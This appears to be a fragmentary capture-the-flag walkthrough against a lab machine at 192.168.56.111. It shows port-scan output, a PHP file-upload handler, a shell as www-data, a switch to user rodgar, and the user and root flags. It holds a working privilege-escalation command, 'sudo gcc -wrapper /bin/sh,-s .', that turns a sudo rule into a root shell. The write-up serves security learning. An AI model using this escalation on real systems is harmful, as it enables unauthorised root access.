❯ ip=192.168.56.111 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- RustScan: Where '404 Not Found' meets '200 OK'. [~] The config file is expected to be at "/home/ctf/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.56.111:80 [~] Starting Script(s) [~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-10 20:59 CST Initiating Ping Scan at 20:59 Scanning 192.168.56.111 [4 ports] Completed Ping Scan at 20:59, 0.06s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 20:59 Completed Parallel DNS resolution of 1 host. at 20:59, 0.02s elapsed DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 20:59 Scanning 192.168.56.111 [1 port] Discovered open port 80/tcp on 192.168.56.111 Completed SYN Stealth Scan at 20:59, 0.04s elapsed (1 total ports) Nmap scan report for 192.168.56.111 Host is up, received reset ttl 63 (0.00041s latency). Scanned at 2024-12-10 20:59:25 CST for 0s
PORT STATE SERVICE REASON 80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.31 seconds Raw packets sent: 5 (196B) | Rcvd: 2 (84B)
if (move_uploaded_file($_FILES["image"]["tmp_name"], $targetFilePath)) { $message = "El archivo se ha subido correctamente."; } else { $message = "Hubo un error al subir el archivo."; } } else { $message = "Solo se permiten archivos JPG y GIF."; } } ?>
www-data@debian:/home$ su rodgar Password: rodgar@debian:/home$ cd rodgar/ rodgar@debian:~$ ls user.txt rodgar@debian:~$ cat user.txt b45cffe084dd3d20d928bee
Root提权
用户有sudo权限
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
rodgar@debian:/home$ sudo -l Matching Defaults entries for rodgar on debian: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User rodgar may run the following commands on debian: (ALL : ALL) NOPASSWD: /usr/bin/gcc, /usr/bin/make rodgar@debian:/home$ sudo gcc -wrapper /bin/sh,-s . # id uid=0(root) gid=0(root) grupos=0(root) # cd ~ # ls rodgarpass rooo_-tt.txt # cat rooo_-tt.txt 44b3f261e197124e60217d6ffe7e71a8e0175ae0
